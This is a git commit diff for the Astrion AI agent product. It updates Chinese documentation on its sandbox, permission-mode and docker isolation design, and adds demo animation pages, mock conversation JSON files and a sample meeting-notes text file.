feat: 04版本控制动画 + 演示区5条真实对话mock + 文档同步沙箱重构
- 主页第4行特色动画(版本控制)及 01/02/03 动画迭代 - 演示区对话 mock 全部换为真实对话转换:日常使用(汽车对比新/整理周会速记)、 StarRaid(弹幕调研/像素飞机设计)、开发实战(猫咪咖啡店多智能体) - 子智能体 activity、消息截图媒体、文件卡片资源(docx/pdf/html)随站点发布 - sw.js: file/content 二进制 MIME、/api/conversations/media 路由、 模型列表扩为 K3/V4-Flash/MiniMax-M3/GLM-5.2、CACHE v5 - content/ 同步 8-31 沙箱重构文档更新
@ -215,7 +215,7 @@ Astrion 的运行态数据(对话记录、用户、日志、部署级配置)
|
||||
| | **host 模式** | **web/docker 模式** |
|
||||
|---|---|---|
|
||||
| 定位 | 本地个人使用 | 服务器多用户部署 |
|
||||
| 命令执行 | 宿主机 OS 沙箱(macOS sandbox-exec / Linux bwrap / Windows WSL2) | 每个用户独立 Docker 容器 |
|
||||
| 命令执行 | 宿主机 OS 沙箱(macOS sandbox-exec / Linux bwrap / Windows WSL2) | 每个用户独立 Docker 容器,受限档权限下以非特权 uid 执行 |
|
||||
| 数据目录 | `~/.astrion/astrion/host/` | `~/.astrion/astrion/web/` |
|
||||
| 前置准备 | 无需镜像;Windows 需先装 WSL2 | 必须先构建镜像:`docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest .`(构建上下文必须是仓库根) |
|
||||
| 镜像名 | — | 由 `TERMINAL_SANDBOX_IMAGE` 指定,建议 `my-agent-shell:latest` |
|
||||
|
||||
@ -20,7 +20,7 @@ Astrion 有四组**相互正交**的概念,理解它们是理解整个系统
|
||||
|
||||
两者的数据目录完全分开(`~/.astrion/astrion/host/` 与 `web/`),但 host 模式会**合并读取** web 模式的用户与工作区列表——同一台机器上两种模式的历史数据都能看到。
|
||||
|
||||
> 注意:docker 模式目前**没有**与宿主机同等的 OS 级只读沙箱机制。容器本身就是隔离边界,但「只读沙箱→审批→单次可写重试」这套两段式流程是 host 模式专属。
|
||||
> 注意:docker 模式同样有只读强制——受限档权限(readonly/approval/auto_approval)下,命令以非特权用户(uid 10001)在容器内执行,写入由内核文件权限直接拒绝,「只读→审批→单次可写重试」两段式流程与 host 模式一致(详见《执行与安全》)。
|
||||
|
||||
## 2. 权限模式:AI 能做什么
|
||||
|
||||
@ -55,17 +55,17 @@ Astrion 有四组**相互正交**的概念,理解它们是理解整个系统
|
||||
执行环境是**系统层**开关(仅 host 模式可切换),决定命令最终是否经过 OS 沙箱:
|
||||
|
||||
- **sandbox(默认)**:命令在 OS 沙箱中执行,读写边界由「路径授权」限定。沙箱不可用时关键执行路径会**拒绝执行**,不会静默回退到裸宿主机。
|
||||
- **direct(高风险)**:命令直接在宿主机执行,无任何沙箱限制。仅建议明确需要系统级权限时**短时**开启,用完立即切回。切换后一直生效,没有自动回退机制。
|
||||
- **direct(高风险)**:命令直接在宿主机执行,无任何沙箱限制。仅 `unrestricted` 权限可选——受限档(readonly/approval/auto_approval)与 direct 硬互斥,在受限档下切 direct 会被拒绝,从 direct 切入受限档会被自动压回 sandbox。仅建议明确需要系统级权限时**短时**开启,用完立即切回。切换后一直生效,没有自动回退机制。
|
||||
|
||||
### 各平台沙箱实现与安全水位(请务必阅读)
|
||||
|
||||
| 平台 | 实现 | 安全水位 |
|
||||
|------|------|----------|
|
||||
| **Windows** | WSL2 | **可以做到完全的数据隔离**——命令跑在独立的 WSL2 文件系统中。前提是**先自行安装 WSL2**,未安装时沙箱不可用 |
|
||||
| **macOS** | sandbox-exec | **能限制写入,但无法保证数据不泄露**——macOS 沙箱策略下文件系统对进程全局可读,AI 执行的命令仍可能读到你的私人文件。涉及敏感数据时请谨慎 |
|
||||
| **Linux** | bubblewrap (bwrap) + seccomp | **尚未经过实际测试**,不建议在生产环境依赖其隔离性 |
|
||||
| **macOS** | sandbox-exec | **白名单读模型,读写都可限制**——进程默认只能读系统目录、工作区与已授权路径,越界读取会被直接拒绝。固有代价:授权路径的祖先目录顶层文件名可被列出(文件内容仍不可读) |
|
||||
| **Linux** | bubblewrap (bwrap) + seccomp | 写入可限制(只读档全局只读),但**读侧仍是全局可读**、尚未对齐白名单;且尚未经过实际测试,不建议在生产环境依赖其隔离性 |
|
||||
|
||||
这是官方对当前安全能力的如实说明:把沙箱当作「防误操作」的手段是可靠的;把它当作「防恶意窃取数据」的手段,目前只有 Windows(WSL2)路径可以信赖。
|
||||
这是官方对当前安全能力的如实说明:把沙箱当作「防误操作」的手段,三个平台都是可靠的;把它当作「防恶意窃取数据」的手段,macOS(白名单)与 Windows(WSL2)可以信赖,Linux 暂时不行。
|
||||
|
||||
### 路径授权
|
||||
|
||||
@ -76,7 +76,7 @@ host 模式下,沙箱的文件访问边界由路径授权决定,分两类:
|
||||
|
||||
关系:`可读集合 = 可读可写 + 仅可读`;`可写集合 = 可读可写`。在输入栏 `+` 菜单 →「路径授权」中维护。推荐保持最小授权:工作区 + 临时目录。
|
||||
|
||||
> 终端会话(terminal 系列工具)在启动时绑定当时的执行环境与沙箱策略;**切换执行环境(sandbox ⇄ direct)、切换工作区或容器时,现有终端会话会被直接关闭**,随后在重新拉起的会话中按新策略执行。
|
||||
> 终端会话(terminal 系列工具)的读写身份在启动时按当时的权限档、执行环境与沙箱策略**钉死**:受限档下终端以只读身份运行,`unrestricted` 下才是可写身份。**切换执行环境(sandbox ⇄ direct)、权限档在受限档与无限制之间互切、切换工作区或容器时,现有终端会话会被直接关闭**,随后在重新拉起的会话中按新策略执行。
|
||||
|
||||
### 网络权限
|
||||
|
||||
@ -105,7 +105,7 @@ host 模式下,沙箱的文件访问边界由路径授权决定,分两类:
|
||||
## 5. 四组概念的联动规则速查
|
||||
|
||||
1. plan 模式 → 权限强制 readonly、执行环境强制 sandbox(网络权限仍可调);
|
||||
2. readonly 权限 → 执行环境自动锁定为 sandbox(direct 无意义);
|
||||
2. 受限档权限(readonly/approval/auto_approval)→ 执行环境自动锁定为 sandbox,direct 仅 unrestricted 可用;
|
||||
3. 批准 plan 计划 → 自动切 execute 并恢复进入 plan 前的权限与执行环境;
|
||||
4. docker 模式下没有 sandbox/direct 之分,容器即边界;
|
||||
5. 权限模式、执行环境、运行模式都是**对话级**状态:新对话继承当前输入栏的取值,个人空间里的「默认权限模式 / 默认运行模式」只影响首次构造。
|
||||
|
||||
@ -6,23 +6,23 @@
|
||||
|
||||
---
|
||||
|
||||
## 1. 命令是怎么被执行的(host 模式)
|
||||
## 1. 命令是怎么被执行的
|
||||
|
||||
### run_command:两段式执行
|
||||
|
||||
以默认推荐的 `approval` 模式为例,一条 AI 发起的 shell 命令的实际旅程是:
|
||||
|
||||
1. **先在只读沙箱执行**——能读不能写;
|
||||
1. **先在只读身份下执行**——能读不能写(host 模式靠 OS 沙箱,docker 模式靠容器内的非特权用户);
|
||||
2. 如果命令没碰写操作,直接返回结果,全程无感;
|
||||
3. 如果触发权限拒绝(要写文件、要改系统),**自动转为向你发起审批**;
|
||||
4. 你批准后,**仅这一条命令**以可写沙箱重试;你拒绝或超时未处理,则本次不执行;
|
||||
4. 你批准后,**仅这一条命令**以可写身份重试;你拒绝或超时未处理,则本次不执行;
|
||||
5. AI 拿到的是最终结果,中间过程不干扰它的思路。
|
||||
|
||||
`auto_approval` 模式把第 3 步的审批者换成自动审批智能体;`unrestricted` 模式跳过审批直接执行;`readonly` 模式下写入类请求直接拒绝。
|
||||
`auto_approval` 模式把第 3 步的审批者换成自动审批智能体;`unrestricted` 模式跳过审批直接执行;`readonly` 模式下写入类请求直接拒绝。注意审批**只放大这一次写入、不放大读取范围**——想读工作区之外的文件,唯一途径是路径授权(见第 2 节)。
|
||||
|
||||
### 终端会话:切换即关闭
|
||||
### 终端会话:身份钉死,切换即关闭
|
||||
|
||||
持久终端会话(terminal 系列工具)在启动时绑定当时的执行环境与沙箱策略。当你**切换执行环境(sandbox ⇄ direct)、切换工作区或容器**时,现有终端会话会被**直接关闭**——不会带着旧策略继续运行,后续操作在重新拉起的会话中按新策略执行。这也意味着:跑长任务时不要切换这些开关,任务会随会话一起终止。
|
||||
持久终端会话(terminal 系列工具)的读写身份在启动时按当时的权限档、执行环境与沙箱策略**钉死**:受限档(readonly/approval/auto_approval)下终端以只读身份运行,终端里的写入由系统直接拒绝(EPERM);`unrestricted` 下才是可写身份。当你**切换执行环境(sandbox ⇄ direct)、权限档在受限档与无限制之间互切、切换工作区或容器**时,现有终端会话会被**直接关闭**——不会带着旧身份继续运行,后续操作在重新拉起的会话中按新策略执行。这也意味着:跑长任务时不要切换这些开关,任务会随会话一起终止。
|
||||
|
||||
### 子智能体与后台命令
|
||||
|
||||
@ -60,17 +60,19 @@
|
||||
|
||||
## 6. 关于 direct 模式的忠告
|
||||
|
||||
`direct` = 命令直接在宿主机执行,**没有任何沙箱**。合理使用场景只有一个:某条命令在沙箱里确实跑不了(需要系统级权限),且没有替代方案。此时:
|
||||
`direct` = 命令直接在宿主机执行,**没有任何沙箱**。它与受限档权限(readonly/approval/auto_approval)硬互斥——只有 `unrestricted` 才能选 direct,从 direct 切入受限档时会被自动压回 sandbox。合理使用场景只有一个:某条命令在沙箱里确实跑不了(需要系统级权限),且没有替代方案。此时:
|
||||
|
||||
1. 临时切到 direct;
|
||||
2. 跑完立即切回 sandbox;
|
||||
1. 先把权限档切到 `unrestricted`,再临时切到 direct;
|
||||
2. 跑完立即切回 sandbox(和原来的权限档);
|
||||
3. 注意 direct 切换后**永久生效、不会自动回退**——忘记切回等于长期裸奔。
|
||||
|
||||
## 7. docker 模式的安全现状
|
||||
|
||||
docker 模式下,隔离边界是容器本身:每个用户的终端在独立容器中,互相不可见。但要注意:
|
||||
docker 模式下,用户之间的隔离边界是容器本身:每个用户的终端在独立容器中,互相不可见。容器**内部**的权限约束同样是真强制:
|
||||
|
||||
- 目前**没有**与 host 模式同等的 OS 级只读沙箱,「只读→审批→可写重试」两段式在容器内不适用,容器内的权限约束主要靠提示词层面的规范;
|
||||
- 受限档(readonly/approval/auto_approval)下,run_command、后台命令与持久终端都以**非特权用户(uid 10001)**在容器内执行——工作区属主是 root,写入由内核文件权限直接拒绝,不依赖对命令文本的识别;审批通过后,仅该条命令以 root 身份重试;
|
||||
- 生效前提:工作区属主为 root、没有全局可写的文件、容器未挂载 docker.sock(按官方部署文档操作即满足);
|
||||
- 该强制仅在 **Linux 宿主机**上成立——macOS 本机的 Docker Desktop 不执行 uid 文件权限,本机开发时不要把容器内部权限当安全边界;
|
||||
- 多用户部署时应配合容器资源限制、镜像最小化等常规容器安全实践。
|
||||
|
||||
## 8. 各平台安全水位
|
||||
@ -78,7 +80,7 @@ docker 模式下,隔离边界是容器本身:每个用户的终端在独立
|
||||
再次强调《核心概念》中的结论,因为它直接影响你该信任沙箱到什么程度:
|
||||
|
||||
- **Windows(WSL2)**:可做到完全数据隔离,需先安装 WSL2;
|
||||
- **macOS(sandbox-exec)**:能限制写入,但文件系统全局可读,**不能防止数据泄露**,请勿在可读范围内放置敏感数据;
|
||||
- **Linux(bwrap+seccomp)**:**尚未实测**,不要依赖其隔离性。
|
||||
- **macOS(sandbox-exec)**:白名单读模型,写入和读取都可限制——进程默认只能读系统目录、工作区与已授权路径;代价是授权路径的祖先目录顶层文件名可被列出(文件内容仍不可读);
|
||||
- **Linux(bwrap+seccomp)**:写入可限制,但读侧仍是全局可读、尚未对齐白名单,且**尚未实测**,不要依赖其隔离性。
|
||||
|
||||
无论哪个平台,沙箱的首要价值是**防误操作**;涉及真正的敏感数据,请叠加路径授权最小化、网络受限、readonly 权限等手段综合防护。
|
||||
|
||||
@ -32,13 +32,13 @@
|
||||
}
|
||||
.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; }
|
||||
.hint { font-size: 13px; color: var(--text-3); }
|
||||
#anim2Window { width: 540px; height: 320px; }
|
||||
#anim2Window { width: 540px; height: 388px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="stage">
|
||||
<p class="hint">点击顶部标签切换情节;再次点击当前标签重播。</p>
|
||||
<p class="hint">自动无限循环播放:每轮随机 20 条(15 短 + 5 长),弹道随机。</p>
|
||||
<div id="anim2Window"></div>
|
||||
</div>
|
||||
|
||||
|
||||
@ -4,65 +4,19 @@
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>修改记录动画 demo</title>
|
||||
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
|
||||
<link rel="stylesheet" href="/site-assets/anim3-demo.css" />
|
||||
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
|
||||
<link rel="stylesheet" href="/site-assets/anim-records.css" />
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="stage">
|
||||
<p class="hint">自动播放;点击场景重播。</p>
|
||||
|
||||
<div class="anim3-window" id="anim3Window">
|
||||
<div class="anim3-stage" id="anim3Stage">
|
||||
|
||||
<!-- 智能体(右上),初始持笔 -->
|
||||
<div class="writer" id="writer">
|
||||
<span class="writer-avatar" id="writerAvatar"></span>
|
||||
</div>
|
||||
|
||||
<!-- 笔:外层 pen-pos 由 JS 定位笔尖,内层 svg 绕笔尖摇摆 -->
|
||||
<div class="pen-pos" id="penPos">
|
||||
<svg class="writer-pen" id="writerPen" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
|
||||
<path fill="var(--bg-1)" d="M21.174 6.812a1 1 0 0 0-3.986-3.987L3.842 16.174a2 2 0 0 0-.5.83l-1.321 4.352a.5.5 0 0 0 .623.622l4.353-1.32a2 2 0 0 0 .83-.497z" />
|
||||
<path d="m15 5 4 4" />
|
||||
<circle id="penNibRef" class="pen-ref" cx="2.65" cy="21.02" r="0.7" />
|
||||
<circle id="penEraserRef" class="pen-ref" cx="19.2" cy="4.8" r="0.7" />
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<!-- 3D 倾斜的纸:四条横线代表四行内容 -->
|
||||
<div class="paper3d" id="paper">
|
||||
<div class="paper-sheet">
|
||||
<div class="pline" data-w="82"><i class="pline-end"></i></div>
|
||||
<div class="pline" data-w="64"><i class="pline-end"></i></div>
|
||||
<div class="pline" data-w="71"><i class="pline-end"></i></div>
|
||||
<div class="pline" data-w="58"><i class="pline-end"></i></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 收件箱(diff 正下方):后壁在纸后、前壁在纸前,纸从中间沉入。
|
||||
两个 svg 直接放 stage 层(不包容器),z-index 才能与纸比较 -->
|
||||
<svg class="inbox-part box-back is-shown" id="boxBack" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="0.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
|
||||
<path d="M2 12 L5.45 5.11 A2 2 0 0 1 7.24 4 H16.76 a2 2 0 0 1 1.79 1.11 L22 12" />
|
||||
</svg>
|
||||
<!-- 前壁:单条闭合 path,顶部边缘走凹口轮廓(fill 遮挡面积 = 真实盒身,凹口可透纸带) -->
|
||||
<svg class="inbox-part box-front is-shown" id="boxFront" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="0.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
|
||||
<path d="M2 12 h6 l2 3 h4 l2 -3 h6 v6 a2 2 0 0 1 -2 2 H4 a2 2 0 0 1 -2 -2 z" />
|
||||
</svg>
|
||||
|
||||
<!-- diff 区:抽出的绿行展开为红绿 +/- 实际代码 -->
|
||||
<div class="diff-view" id="diffView">
|
||||
<div class="dline is-del"><span class="dsign">-</span><span class="dtext">theme: 'dark'</span></div>
|
||||
<div class="dline is-add"><span class="dsign">+</span><span class="dtext">theme: 'classic'</span></div>
|
||||
<div class="dline is-del"><span class="dsign">-</span><span class="dtext">fontSize: 13, lineHeight: 1.4</span></div>
|
||||
<div class="dline is-add"><span class="dsign">+</span><span class="dtext">fontSize: 14, lineHeight: 1.6</span></div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<p class="hint">自动播放;收盒后自动轮播,按下卡片暂停 5 秒。</p>
|
||||
<div class="anim-host" id="animRecords"></div>
|
||||
</div>
|
||||
|
||||
<script src="/site-assets/astrion-avatar.js"></script>
|
||||
<script src="/site-assets/anim3-demo.js"></script>
|
||||
<script src="/site-assets/anim-records.js"></script>
|
||||
<script>AnimRecords.init(document.getElementById('animRecords'));</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
22
demo/anim4-demo.html
Normal file
@ -0,0 +1,22 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-CN">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>版本控制动画 demo</title>
|
||||
<link rel="stylesheet" href="/site-assets/anim4-demo.css" />
|
||||
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
|
||||
<link rel="stylesheet" href="/site-assets/anim-version.css" />
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="stage">
|
||||
<p class="hint">自动循环播放:赶工 → 闯祸 → 惊吓 → 时光机倒流 → 归来。</p>
|
||||
<div class="anim-host" id="animVersion"></div>
|
||||
</div>
|
||||
|
||||
<script src="/site-assets/astrion-avatar.js"></script>
|
||||
<script src="/site-assets/anim-version.js"></script>
|
||||
<script>AnimVersion.init(document.getElementById('animVersion'));</script>
|
||||
</body>
|
||||
</html>
|
||||
@ -9,6 +9,8 @@
|
||||
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
|
||||
<link rel="stylesheet" href="/site-assets/anim-shared.css" />
|
||||
<link rel="stylesheet" href="/site-assets/anim-sandbox.css" />
|
||||
<link rel="stylesheet" href="/site-assets/anim-records.css" />
|
||||
<link rel="stylesheet" href="/site-assets/anim-version.css" />
|
||||
<link rel="stylesheet" href="/site-assets/site.css" />
|
||||
</head>
|
||||
<body>
|
||||
@ -100,20 +102,22 @@
|
||||
<div class="feature-anim" id="animSandbox" aria-hidden="true"></div>
|
||||
</div>
|
||||
|
||||
<div class="feature-row">
|
||||
<div class="feature-row feature-row--anim">
|
||||
<div class="feature-text">
|
||||
<p class="feature-index">03</p>
|
||||
<h3 class="feature-title">修改记录</h3>
|
||||
<p class="feature-desc">每一次文件编辑都留下一条 diff:<br>改了哪个文件、加了几行、删了几行。<br>按任务逐条查看,也可以单独撤销其中任意一次修改。</p>
|
||||
</div>
|
||||
<div class="feature-anim" id="animRecords" aria-hidden="true"></div>
|
||||
</div>
|
||||
|
||||
<div class="feature-row">
|
||||
<div class="feature-row feature-row--anim">
|
||||
<div class="feature-text">
|
||||
<p class="feature-index">04</p>
|
||||
<h3 class="feature-title">版本控制</h3>
|
||||
<p class="feature-desc">每条消息自动成为一个检查点。<br>发现方向不对时,回退到任意一条消息之前——<br>对话和文件一起还原,不用手工收拾残局。</p>
|
||||
</div>
|
||||
<div class="feature-anim" id="animVersion" aria-hidden="true"></div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
@ -179,6 +183,8 @@
|
||||
<script src="/site-assets/astrion-avatar.js"></script>
|
||||
<script src="/site-assets/anim-sandbox.js"></script>
|
||||
<script src="/site-assets/anim-modes.js"></script>
|
||||
<script src="/site-assets/anim-records.js"></script>
|
||||
<script src="/site-assets/anim-version.js"></script>
|
||||
<script src="/site-assets/site.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
1
demo/mock/activity-sub_1_1788364427_985302.json
Normal file
1
demo/mock/activity-sub_2_1788364429_91688a.json
Normal file
1
demo/mock/activity-sub_3_1788364431_74db3e.json
Normal file
1
demo/mock/activity-sub_4_1788364765_5d6208.json
Normal file
1
demo/mock/bootstrap-conv_20260825_210916_394.json
Normal file
1
demo/mock/bootstrap-conv_20260825_222209_771.json
Normal file
1
demo/mock/bootstrap-conv_20260902_235153_495.json
Normal file
1
demo/mock/bootstrap-conv_20260903_003950_896.json
Normal file
@ -1 +1,24 @@
|
||||
{"success": true, "data": {"conversations": [], "has_more": false, "limit": 20, "offset": 0, "total": 0}}
|
||||
{
|
||||
"success": true,
|
||||
"data": {
|
||||
"conversations": [
|
||||
{
|
||||
"id": "conv_20260902_235153_495",
|
||||
"title": "猫咪咖啡店官网demo制作",
|
||||
"project_path": "/Users/demo/dev",
|
||||
"project_relative_path": null,
|
||||
"multi_agent_mode": true,
|
||||
"thinking_mode": true,
|
||||
"status": "active",
|
||||
"total_messages": 185,
|
||||
"total_tools": 87,
|
||||
"created_at": "2026-09-02T23:51:53.495751",
|
||||
"updated_at": "2026-09-03T00:40:08.788991"
|
||||
}
|
||||
],
|
||||
"has_more": false,
|
||||
"limit": 20,
|
||||
"offset": 0,
|
||||
"total": 1
|
||||
}
|
||||
}
|
||||
@ -1 +1,63 @@
|
||||
{"success": true, "data": {"conversations": [{"id": "conv_20260823_122836_778", "title": "弹幕游戏美术设计调研", "project_path": "/Users/demo/starraid", "project_relative_path": null, "multi_agent_mode": false, "thinking_mode": true, "status": "active", "total_messages": 29, "total_tools": 13, "created_at": "2026-08-23T12:28:36.778945", "updated_at": "2026-08-23T13:32:51.486262"}, {"id": "conv_20260823_133304_218", "title": "尚界Z7与小米SU7外观对比", "project_path": "/Users/demo/daily", "project_relative_path": null, "multi_agent_mode": false, "thinking_mode": true, "status": "active", "total_messages": 11, "total_tools": 6, "created_at": "2026-08-23T13:33:04.218941", "updated_at": "2026-08-23T13:35:36.442941"}], "has_more": false, "limit": 20, "offset": 0, "total": 2}}
|
||||
{
|
||||
"success": true,
|
||||
"data": {
|
||||
"conversations": [
|
||||
{
|
||||
"id": "conv_20260823_122836_778",
|
||||
"title": "弹幕游戏美术设计调研",
|
||||
"project_path": "/Users/demo/starraid",
|
||||
"project_relative_path": null,
|
||||
"multi_agent_mode": false,
|
||||
"thinking_mode": true,
|
||||
"status": "active",
|
||||
"total_messages": 29,
|
||||
"total_tools": 13,
|
||||
"created_at": "2026-08-23T12:28:36.778945",
|
||||
"updated_at": "2026-08-23T13:32:51.486262"
|
||||
},
|
||||
{
|
||||
"id": "conv_20260825_210916_394",
|
||||
"title": "整理周会速记为 Word",
|
||||
"project_path": "/Users/demo/daily",
|
||||
"project_relative_path": null,
|
||||
"multi_agent_mode": false,
|
||||
"thinking_mode": true,
|
||||
"status": "active",
|
||||
"total_messages": 32,
|
||||
"total_tools": 15,
|
||||
"created_at": "2026-08-25T21:09:16.394889",
|
||||
"updated_at": "2026-09-03T00:28:37.188421"
|
||||
},
|
||||
{
|
||||
"id": "conv_20260825_222209_771",
|
||||
"title": "像素太空飞机设计稿",
|
||||
"project_path": "/Users/demo/starraid",
|
||||
"project_relative_path": null,
|
||||
"multi_agent_mode": false,
|
||||
"thinking_mode": true,
|
||||
"status": "active",
|
||||
"total_messages": 4,
|
||||
"total_tools": 1,
|
||||
"created_at": "2026-08-25T22:22:09.771765",
|
||||
"updated_at": "2026-08-25T22:38:44.394880"
|
||||
},
|
||||
{
|
||||
"id": "conv_20260903_003950_896",
|
||||
"title": "尚界Z7与小米SU7外观",
|
||||
"project_path": "/Users/demo/daily",
|
||||
"project_relative_path": null,
|
||||
"multi_agent_mode": false,
|
||||
"thinking_mode": true,
|
||||
"status": "active",
|
||||
"total_messages": 12,
|
||||
"total_tools": 6,
|
||||
"created_at": "2026-09-03T00:39:50.896435",
|
||||
"updated_at": "2026-09-03T00:42:05.089376"
|
||||
}
|
||||
],
|
||||
"has_more": false,
|
||||
"limit": 20,
|
||||
"offset": 0,
|
||||
"total": 4
|
||||
}
|
||||
}
|
||||
54
demo/mock/file-11.12周会速记-待整理_1.txt
Normal file
@ -0,0 +1,54 @@
|
||||
11.12 周会速记(很乱,回头整理)
|
||||
|
||||
产品+技术+运营 三方对齐会
|
||||
到场:我、老王(王磊)、Lisa、测试小赵、运营Amanda,老板后半程进来待了大概10分钟
|
||||
3F 蒲公英会议室,原定14:00开始,实际14:15人才到齐
|
||||
|
||||
== 双十一大促 ==
|
||||
Amanda:预算批下来了 80w,主推玩法 满300减50 + 前2小时折上折
|
||||
节奏:11.10 晚8点开始预热,11.11 0点正式开抢,11.12 返场一天(返场力度待定)
|
||||
注意!!去年0点秒杀服务挂了12分钟,被骂上热搜那次。老王拍胸脯说今年扩容3倍,口头的,待压测验证
|
||||
压测 11.5 前必须出报告,负责人王磊,小赵配合
|
||||
Amanda补充:预算里含 12w KOL 投放,6个腰部博主,名单还没定,下周给
|
||||
(这里好像和80w总数有点对不上?会上忘了问,待确认:12w是80w里面的还是额外的)
|
||||
|
||||
== App 3.2 版本 ==
|
||||
- 首页改版,Lisa 出终稿,11.18 出内测包
|
||||
- 搜索联想词 bug 还没修完,用户已经投诉3次了,其实10.28就提过一次,优先级要升 P0
|
||||
- 安卓崩溃率 0.8%,要压到 0.3% 以下。小赵:主要集中在 OPPO 某几个机型,复现中
|
||||
- iOS 提审风险:3.2 的「关联启动」可能被卡,老王说先提审试试,不行再砍
|
||||
- 内测包 11.18,正式版想赶 11.25,但看压测和崩溃率情况再说
|
||||
|
||||
15:02 老板进来了
|
||||
老板:双十一 GMV 目标 8000w(原话比较委婉,但意思是完不成年终奖很难看)
|
||||
老板:客服话术必须更新,现在退费流程太长,NPS 掉到 31 了,这个数很难看
|
||||
老板走了以后大家沉默了大概半分钟
|
||||
|
||||
== 数据回顾(Amanda 口头报的,回头要邮件确认准确数) ==
|
||||
10月 DAU 42w,环比 +6%
|
||||
新客成本 38元/人,比9月涨了4块
|
||||
复购率 21%(?这个数我记的可能不准)
|
||||
客单价 176 元
|
||||
搜索到下单的转化率 3.2%,Lisa 说首页改版主要就是为了拉这个
|
||||
|
||||
跑题记录:中午食堂新开的麻辣烫不错,小赵推荐了二楼咖啡,散会要去试试
|
||||
|
||||
== 待办(我自己随手记的,不全) ==
|
||||
1. Lisa 首页终稿 11.15 前
|
||||
2. 压测报告 11.5,老王
|
||||
3. OPPO 机型崩溃复现,小赵,11.8
|
||||
4. 双11活动页文案 Amanda 11.6
|
||||
5. 我:整理这份会议纪要发全员
|
||||
6. 客服话术新版 11.20 前出初稿——负责人是谁来着??会上好像说了又好像没说,待确认
|
||||
7. KOL 名单 Amanda 下周
|
||||
8. 搜索联想 bug 修复排期——老王说下版本前修掉,具体日期没定
|
||||
|
||||
== 杂事 ==
|
||||
团建投票:安吉 vs 崇明,目前 7:5,行政让周五前投完
|
||||
小赵申请换显示器,审批走到我这了,提醒我记得点
|
||||
老王提了一嘴想招一个实习生前端,年后再说
|
||||
|
||||
下次会:11.19(周三)下午3点,老地方 3F-蒲公英
|
||||
议程预告:压测报告 review + 首页终稿 review + 双十一最终确认
|
||||
|
||||
哦对差点忘了:会议室投影仪又坏了,行政说报修了第三次了
|
||||
BIN
demo/mock/files/11.12周会会议纪要.docx
Normal file
BIN
demo/mock/files/11.12周会会议纪要.pdf
Normal file
1349
demo/mock/files/index.html
Normal file
|
After Width: | Height: | Size: 265 KiB |
|
After Width: | Height: | Size: 44 KiB |
|
After Width: | Height: | Size: 60 KiB |
|
After Width: | Height: | Size: 265 KiB |
|
After Width: | Height: | Size: 42 KiB |
|
After Width: | Height: | Size: 39 KiB |
|
After Width: | Height: | Size: 34 KiB |
|
After Width: | Height: | Size: 161 KiB |
|
After Width: | Height: | Size: 16 KiB |
|
After Width: | Height: | Size: 52 KiB |
|
After Width: | Height: | Size: 11 KiB |
33
demo/mock/sub-agents-conv_20260902_235153_495.json
Normal file
@ -0,0 +1,33 @@
|
||||
{
|
||||
"success": true,
|
||||
"data": [
|
||||
{
|
||||
"task_id": "sub_1_1788364427_985302",
|
||||
"status": "completed",
|
||||
"summary": "调研素材已充分(catmocha.jp 首页全文、% Arabica 官网案例、Blue Bottle 摄影语言、Meo",
|
||||
"conversation_id": "conv_20260902_235153_495",
|
||||
"created_at": 1788364.427
|
||||
},
|
||||
{
|
||||
"task_id": "sub_2_1788364429_91688a",
|
||||
"status": "completed",
|
||||
"summary": "已完成调研。基于 web_search + extract_webpage 的实时信息(Nippon Colors 传统",
|
||||
"conversation_id": "conv_20260902_235153_495",
|
||||
"created_at": 1788364.429
|
||||
},
|
||||
{
|
||||
"task_id": "sub_3_1788364431_74db3e",
|
||||
"status": "completed",
|
||||
"summary": "调研完成。已核实 Kitty Brew、NEKO、Cat Cafe San Diego、Coffee Cats、Orla",
|
||||
"conversation_id": "conv_20260902_235153_495",
|
||||
"created_at": 1788364.431
|
||||
},
|
||||
{
|
||||
"task_id": "sub_4_1788364765_5d6208",
|
||||
"status": "completed",
|
||||
"summary": "子智能体已被手动终止",
|
||||
"conversation_id": "conv_20260902_235153_495",
|
||||
"created_at": 1788364.765
|
||||
}
|
||||
]
|
||||
}
|
||||
@ -29,13 +29,24 @@ window.AnimModes = (function () {
|
||||
/* ── 代次令牌:切换模式时作废旧序列的所有后续步骤 ── */
|
||||
var gen = 0;
|
||||
|
||||
function sleep(ms) {
|
||||
return new Promise(function (r) { setTimeout(r, ms); });
|
||||
/* rAF 累计「可见时间」的等待:后台标签页 rAF 暂停,流程随之冻结,恢复时从冻结点继续——
|
||||
setTimeout 在后台只是降频不会停,会攒动画导致恢复瞬间全部放完 */
|
||||
function rafWait(ms) {
|
||||
return new Promise(function (resolve) {
|
||||
var acc = 0, last = performance.now();
|
||||
function tick(now) {
|
||||
acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */
|
||||
last = now;
|
||||
if (acc >= ms) { resolve(); return; }
|
||||
requestAnimationFrame(tick);
|
||||
}
|
||||
requestAnimationFrame(tick);
|
||||
});
|
||||
}
|
||||
|
||||
/** 可中断 sleep:醒来后发现已切换模式则抛错终止序列 */
|
||||
async function step(ms, myGen) {
|
||||
await sleep(ms);
|
